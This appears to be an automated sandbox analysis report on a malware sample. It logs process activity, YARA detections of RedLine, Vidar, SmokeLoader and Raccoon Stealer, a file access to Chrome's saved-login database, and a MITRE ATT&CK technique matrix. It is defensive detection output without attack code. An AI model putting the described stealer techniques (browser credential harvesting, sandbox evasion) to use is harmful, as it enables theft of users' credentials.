Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\y8WngeDn4q.exe

Code function: 0_2_00421CC0 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_00421CC0

Source: C:\Users\user\AppData\Local\Temp\4EDC.exe

Code function: 22_2_6C0065A0 RtlpGetDeviceFamilyInfoEnum,RtlInitUnicodeString,ZwQueryLicenseValue,RtlInitUnicodeString,ZwOpenKey,ZwClose,RtlGetDeviceFamilyInfoEnum,RtlInitUnicodeString,ZwOpenKey,ZwClose,RtlGetVersion,

22_2_6C0065A0

Stealing of Sensitive Information:

Yara detected RedLine Stealer

Show sources

Source: Yara match	File source: 34.0.DataSvcUtil.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.DataSvcUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.0.DataSvcUtil.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.SMSvcHost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.0.DataSvcUtil.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.0.DataSvcUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000022.00000000.568099425.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000002.634272090.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000000.568948579.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000000.566418529.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.638081498.0000000000402000.00000040.00000001.sdmp, type: MEMORY

Yara detected Vidar

Show sources

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 15.1.8908.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.8908.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.8908.exe.2b615a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.0.esdfufc.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.y8WngeDn4q.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.0.esdfufc.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.4EDC.exe.3080e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.esdfufc.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.y8WngeDn4q.exe.47615a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.1.y8WngeDn4q.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.0.8908.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.0.esdfufc.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.0.8908.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.1.esdfufc.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.3.4EDC.exe.3090000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.4EDC.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.esdfufc.2cb15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.0.8908.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.412091703.0000000002091000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.482521678.00000000005A1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.558722900.00000000048B0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.394109827.0000000002801000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.530637179.0000000004B61000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.529516403.0000000003090000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.411806433.0000000000500000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.511213614.0000000003090000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.482408758.00000000004F0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.559098642.00000000049E1000.00000004.00020000.sdmp, type: MEMORY

Yara detected Raccoon Stealer

Show sources

Source: Yara match	File source: 29.3.E4D7.exe.48e0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.3.E4D7.exe.48e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.E4D7.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.E4D7.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001D.00000002.649599129.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.553896826.00000000048E0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: E4D7.exe PID: 6552, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Users\user\AppData\Local\Temp\E4D7.exe

File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data

Source: Yara match	File source: 29.3.E4D7.exe.2db7106.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001D.00000003.600140112.0000000002D7E000.00000004.00000001.sdmp, type: MEMORY

Remote Access Functionality:

Yara detected RedLine Stealer

Show sources

Source: Yara match	File source: 34.0.DataSvcUtil.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.DataSvcUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.0.DataSvcUtil.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.SMSvcHost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.0.DataSvcUtil.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.0.DataSvcUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000022.00000000.568099425.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000002.634272090.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000000.568948579.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000000.566418529.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.638081498.0000000000402000.00000040.00000001.sdmp, type: MEMORY

Yara detected Vidar

Show sources

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 15.1.8908.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.8908.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.8908.exe.2b615a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.0.esdfufc.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.y8WngeDn4q.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.0.esdfufc.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.4EDC.exe.3080e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.esdfufc.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.y8WngeDn4q.exe.47615a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.1.y8WngeDn4q.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.0.8908.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.0.esdfufc.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.0.8908.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.1.esdfufc.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.3.4EDC.exe.3090000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.4EDC.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.esdfufc.2cb15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.0.8908.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.412091703.0000000002091000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.482521678.00000000005A1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.558722900.00000000048B0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.394109827.0000000002801000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.530637179.0000000004B61000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.529516403.0000000003090000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.411806433.0000000000500000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.511213614.0000000003090000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.482408758.00000000004F0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.559098642.00000000049E1000.00000004.00020000.sdmp, type: MEMORY

Yara detected Raccoon Stealer

Show sources

Source: Yara match	File source: 29.3.E4D7.exe.48e0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.3.E4D7.exe.48e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.E4D7.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.E4D7.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001D.00000002.649599129.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.553896826.00000000048E0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: E4D7.exe PID: 6552, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Native API1	DLL Side-Loading11	Exploitation for Privilege Escalation1	Disable or Modify Tools11	OS Credential Dumping1	System Time Discovery1	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Ingress Tool Transfer13	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Shared Modules1	Application Shimming1	DLL Side-Loading11	Deobfuscate/Decode Files or Information1	Input Capture1	File and Directory Discovery2	Remote Desktop Protocol	Data from Local System1	Exfiltration Over Bluetooth	Encrypted Channel11	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Exploitation for Client Execution1	Windows Service1	Application Shimming1	Obfuscated Files or Information3	Security Account Manager	System Information Discovery15	SMB/Windows Admin Shares	Input Capture1	Automated Exfiltration	Non-Standard Port1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	Command and Scripting Interpreter12	Logon Script (Mac)	Access Token Manipulation1	Software Packing33	NTDS	Query Registry1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Non-Application Layer Protocol4	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Service Execution2	Network Logon Script	Windows Service1	Timestomp1	LSA Secrets	Security Software Discovery431	SSH	Keylogging	Data Transfer Size Limits	Application Layer Protocol125	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Process Injection812	DLL Side-Loading11	Cached Domain Credentials	Virtualization/Sandbox Evasion131	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	File Deletion1	DCSync	Process Discovery3	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Masquerading11	Proc Filesystem	Application Window Discovery1	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Virtualization/Sandbox Evasion131	/etc/passwd and /etc/shadow	Remote System Discovery1	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
